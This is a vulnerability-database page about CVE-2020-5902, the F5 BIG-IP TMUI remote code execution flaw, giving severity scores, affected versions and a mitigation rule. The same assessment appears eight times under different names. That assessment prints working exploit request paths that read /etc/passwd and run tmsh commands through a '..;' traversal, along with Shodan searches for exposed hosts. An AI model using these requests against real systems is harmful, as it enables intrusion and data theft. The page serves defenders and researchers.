Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
attackerkbAttackerKBAKB:E88B8795-0434-4AC5-B3D5-7E3DAB8A60C1
HistoryJul 01, 2020 - 12:00 a.m.

CVE-2020-5902 — TMUI RCE vulnerability

2020-07-0100:00:00
attackerkb.com
556

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.976 High

EPSS

Percentile

100.0%

JSON

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

Recent assessments:

Mad-robot at July 05, 2020 1:21pm UTC reported:

CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

 /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Patch & Mitigation:-

<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>

Versions Effected

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

Dorks
<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902&gt;

<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+"3992"&gt;

kevthehermit at July 03, 2020 5:30pm UTC reported:

CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

 /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Patch & Mitigation:-

&lt;LocationMatch ".*\.\.;.*"&gt;
Redirect 404 /
&lt;/LocationMatch&gt;

Versions Effected

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

Dorks
<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902&gt;

<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+"3992"&gt;

ccondon-r7 at July 04, 2020 10:41pm UTC reported:

CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

 /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Patch & Mitigation:-

&lt;LocationMatch ".*\.\.;.*"&gt;
Redirect 404 /
&lt;/LocationMatch&gt;

Versions Effected

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

Dorks
<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902&gt;

<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+"3992"&gt;

busterb at July 06, 2020 2:29am UTC reported:

CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

 /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Patch & Mitigation:-

&lt;LocationMatch ".*\.\.;.*"&gt;
Redirect 404 /
&lt;/LocationMatch&gt;

Versions Effected

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

Dorks
<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902&gt;

<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+"3992"&gt;

0xturazzi at July 10, 2020 1:59pm UTC reported:

CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

 /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Patch & Mitigation:-

&lt;LocationMatch ".*\.\.;.*"&gt;
Redirect 404 /
&lt;/LocationMatch&gt;

Versions Effected

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

Dorks
<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902&gt;

<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+"3992"&gt;

gwillcox-r7 at October 20, 2020 5:49pm UTC reported:

CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

 /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Patch & Mitigation:-

&lt;LocationMatch ".*\.\.;.*"&gt;
Redirect 404 /
&lt;/LocationMatch&gt;

Versions Effected

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

Dorks
<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902&gt;

<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+"3992"&gt;

wvu-r7 at September 03, 2020 5:15pm UTC reported:

CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

 /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Patch & Mitigation:-

&lt;LocationMatch ".*\.\.;.*"&gt;
Redirect 404 /
&lt;/LocationMatch&gt;

Versions Effected

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

Dorks
<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902&gt;

<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+"3992"&gt;

miteshkwan1 at July 17, 2020 1:32pm UTC reported:

CVE-2020-5902

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

 /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Patch & Mitigation:-

&lt;LocationMatch ".*\.\.;.*"&gt;
Redirect 404 /
&lt;/LocationMatch&gt;

Versions Effected

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

Dorks
<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902&gt;

<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+"3992"&gt;

Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 5

Related

githubexploit 46
nessus 2
packetstorm 4
prion 1
talosblog 2
hackerone 1
cve 1
zdt 5
checkpoint_advisories 1
thn 11
ics 11
ptsecurity 1
cisa_kev 1
mmpc 1
dsquare 1
mssecure 1
nuclei 1
cisa 1
trendmicroblog 2
f5 1
exploitdb 2
securelist 2
impervablog 1
qualysblog 5
threatpost 8
attackerkb 1
kitploit 2
cert 1
malwarebytes 1
avleonov 1
githubexploit
githubexploit
Exploit for Path Traversal in F5 Big-Ip Access Policy Manager
2020-07-05 06:19:09
Exploit for Path Traversal in F5 Big-Ip Access Policy Manager
2020-07-06 06:58:29
Exploit for Path Traversal in F5 Big-Ip Access Policy Manager
2020-07-12 07:49:18
nessus
nessus
F5 Networks BIG-IP : TMUI RCE (CVE-2020-5902) (Direct Check)
2020-07-06 00:00:00
F5 Networks BIG-IP : TMUI RCE vulnerability (K52145254)
2020-07-01 00:00:00
packetstorm
packetstorm
BIG-IP TMUI Remote Code Execution
2020-07-07 00:00:00
F5 BIG-IP TMUI Directory Traversal / File Upload / Code Execution
2020-07-07 00:00:00
F5 Big-IP 13.1.3 Build 0.0.6 Local File Inclusion
2020-07-27 00:00:00
prion
prion
Remote code execution
2020-07-01 15:15:00
talosblog
talosblog
New Snort rule addresses critical vulnerability in F5 BIG-IP
2020-07-06 14:19:53
Attackers target Ukraine using GoMet backdoor
2022-07-21 12:00:00
hackerone
hackerone
8x8: F5 BIG-IP TMUI RCE - CVE-2020-5902 (██.packet8.net)
2022-03-23 13:50:18
cve
cve
CVE-2020-5902
2020-07-01 15:15:00
zdt
zdt
F5 BIG-IP TMUI Directory Traversal / File Upload / Code Execution Exploit
2023-11-14 00:00:00
F5 BIG-IP TMUI Directory Traversal / File Upload / Code Execution Exploit
2020-07-07 00:00:00
F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion Vulnerability
2020-07-27 00:00:00
checkpoint_advisories
checkpoint_advisories
F5 BIG-IP Remote Code Execution (CVE-2020-5902)
2020-07-06 00:00:00
thn
thn
New Cyber Espionage Group Targeting Ministries of Foreign Affairs
2021-06-11 07:01:00
Critical RCE Flaw Affects F5 BIG-IP Application Security Servers
2020-07-04 14:20:00
Hackers Target Ukrainian Software Company Using GoMet Backdoor
2022-07-21 12:02:00
ics
ics
Threat Actor Exploitation of F5 BIG-IP CVE-2020-5902
2020-07-24 12:00:00
Iranian Advanced Persistent Threat Actors Threaten Election-Related Systems
2020-10-22 12:00:00
Chinese State-Sponsored Cyber Operations: Observed TTPs
2021-08-20 12:00:00
ptsecurity
ptsecurity
PT-2020-04: Arbitrary code execution in F5 Traffic Management User Interface (TMUI)
2020-01-04 00:00:00
cisa_kev
cisa_kev
F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability
2021-11-03 00:00:00
mmpc
mmpc
Web shell attacks continue to rise
2021-02-11 17:00:05
dsquare
dsquare
F5 BIG-IP Traffic Management User Interface File Disclosure
2020-07-05 00:00:00
mssecure
mssecure
Web shell attacks continue to rise
2021-02-11 17:00:05
nuclei
nuclei
F5 BIG-IP TMUI - Remote Code Execution
2020-07-05 08:11:58
cisa
cisa
F5 Releases Security Advisory for BIG-IP TMUI RCE vulnerability, CVE-2020-5902
2020-07-04 00:00:00
trendmicroblog
trendmicroblog
This Week in Security News: Mirai Botnet Exploit Weaponized to Attack IoT Devices via CVE-2020-5902 and Vermont Taxpayers Warned of Data Leak Over the Past Three Years
2020-07-31 12:30:21
This Week in Security News: 15 Billion Credentials Currently Up for Grabs on Hacker Forums and New Mirai Variant Expands Arsenal
2020-07-10 12:30:22
f5
f5
K52145254 : TMUI RCE vulnerability CVE-2020-5902
2020-07-01 00:00:00
exploitdb
exploitdb
F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion
2020-07-26 00:00:00
BIG-IP 15.0.0 &lt; 15.1.0.3 / 14.1.0 &lt; 14.1.2.5 / 13.1.0 &lt; 13.1.3.3 / 12.1.0 &lt; 12.1.5.1 / 11.6.1 &lt; 11.6.5.1 - Traffic Management User Interface &#039;TMUI&#039; Remote Code Execution
2020-07-06 00:00:00
securelist
securelist
APT trends report Q3 2021
2021-10-26 10:00:11
DDoS attacks in Q3 2020
2020-10-28 10:00:21
impervablog
impervablog
Despite COVID-19 pandemic, Imperva reports number of vulnerabilities decreased in 2020
2021-02-22 19:42:10
qualysblog
qualysblog
F5 BIG-IP Remote Code Execution Vulnerability (CVE-2020-5902)
2020-07-06 23:09:52
Russia-Ukraine Crisis: How to Strengthen Your Security Posture to Protect against Cyber Attack, based on CISA Guidelines
2022-02-26 20:20:32
NSA Alert: Topmost CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
2022-10-07 20:03:01
threatpost
threatpost
Thousands of Vulnerable F5 BIG-IP Users Still Open to Takeover
2020-07-17 20:59:33
Pioneer Kitten APT Sells Corporate Network Access
2020-09-01 13:35:19
Critical F5 BIG-IP Flaw Now Under Active Attack
2021-03-19 20:52:15
attackerkb
attackerkb
CVE-2020-15506
2020-07-07 00:00:00
kitploit
kitploit
ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan
2021-12-01 20:30:00
ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan
2021-12-27 20:30:00
cert
cert
F5 BIG-IP contains multiple vulnerabilities including unauthenticated remote command execution
2020-07-08 00:00:00
malwarebytes
malwarebytes
Chinese APT's favorite vulnerabilities revealed
2022-10-13 16:15:00
avleonov
avleonov
Joint Advisory AA22-279A and Vulristics
2022-10-21 20:10:13

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.976 High

EPSS

Percentile

100.0%

JSON
Related for AKB:E88B8795-0434-4AC5-B3D5-7E3DAB8A60C1
githubexploit46nessus2packetstorm4prion1talosblog2hackerone1cve1zdt5checkpoint_advisories1thn11ics11ptsecurity1cisa_kev1mmpc1dsquare1mssecure1nuclei1cisa1trendmicroblog2f51exploitdb2securelist2impervablog1qualysblog5threatpost8attackerkb1kitploit2cert1malwarebytes1avleonov1